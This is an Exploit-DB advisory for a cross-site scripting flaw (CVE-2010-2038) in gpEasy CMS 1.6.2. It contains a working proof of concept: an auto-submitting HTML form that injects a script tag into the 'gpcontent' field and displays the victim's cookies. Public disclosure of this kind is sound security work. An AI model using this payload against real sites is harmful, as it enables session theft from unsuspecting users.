gpEasy CMS 1.6.2 - 'editing_files.php' Cross-Site Scripting Vulnerability

2010-05-18T00:00:00
ID EDB-ID:34031
Type exploitdb
Reporter High-Tech Bridge SA
Modified 2010-05-18T00:00:00

Description

gpEasy CMS 1.6.2 'editing_files.php' Cross Site Scripting Vulnerability. CVE-2010-2038. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/40330/info

gpEasy CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to gpEasy CMS 1.6.3 are vulnerable 

<form method="POST" action="http://example.com/index.php/Home" name="myfrm">
<input type="hidden" name="cmd" value='save'>
<input type="hidden" name="gpcontent" value='text"><script>alert(document.cookie)</script>'>
</form>
<script>
document.myfrm.submit();
</script>